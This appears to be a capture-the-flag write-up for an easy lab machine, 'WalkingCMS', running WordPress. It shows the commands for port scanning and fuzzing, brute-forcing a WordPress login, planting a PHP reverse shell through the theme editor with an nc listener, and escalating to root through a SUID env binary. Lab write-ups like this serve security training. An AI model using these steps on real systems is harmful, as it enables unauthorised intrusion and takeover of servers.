WalkingCMS

Pasted image 20241215111508.png|300


Info about WalkingCMS

Difficulty: Easy


Active reconnaissance

Port scan

Perform a quick general scan on all ports.

sudo nmap TARGET_IP -n -p- -sS -Pn -vvv --open --min-rate 5000 -oN nmap_scan
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64

Enumeration

Perform a deep scan with common scripts only on ports we are interested in.

sudo nmap TARGET_IP -sCV -p 80 -oN nmap_enum

OS

Linux

Port 80 - Apache

tcp open http Apache httpd 2.4.57 ((Debian))
Pasted image 20241215111928.png

Fuzz

ffuf -c -t 100 -u http://<TARGET>/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -mc all -fc 404 -e .php,.html,.txt

Wordpress

Version 6.4.3
Pasted image 20241215124237.png


Vulnerability analysis

Wordpress

6.4.3

wpscan -e vp,u --url http://172.17.0.2/wordpress --api-token="7890hm..877hjs" --plugins-detection aggressive

Pasted image 20241215130627.png


Exploitation

Brute force

Using the username, I tried a brute force attack

wpscan --url http://172.17.0.2/wordpress -U mario -P /usr/share/wordlists/rockyou.txt

Pasted image 20241215130923.png|500

RCE Admin panel

  1. Go to appearance then theme code editor
    Pasted image 20241215175704.png
  2. Select create
    Pasted image 20241215175809.png
  3. Write a name and Create New File
    Pasted image 20241215180904.png|500
  4. Write the PHP code of reverse shell. I use /usr/share/webshells/php/php-reverse-shell.php
    Pasted image 20241215181052.png
  5. Upload file bottom
    Now the file is stored on /var/www/html/wordpress/wp-content/themes/twentytwentytwo/test1.php
  6. Set the listener
rlwrap nc -lnvp 4747
  1. To access to the test1.php we need to go to
    172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/test1.php
    And we got the shell as www-data
    Pasted image 20241215181540.png

Privilege escalation

SUID

Check SUID files

find / -type f -perm -4000 -ls 2>/dev/null

The uncommon SUID binary is env
Pasted image 20241215183225.png
Use gtfobins to check a way to leverage this.
Pasted image 20241215183352.png|400

env /bin/bash -p

Pasted image 20241215183438.png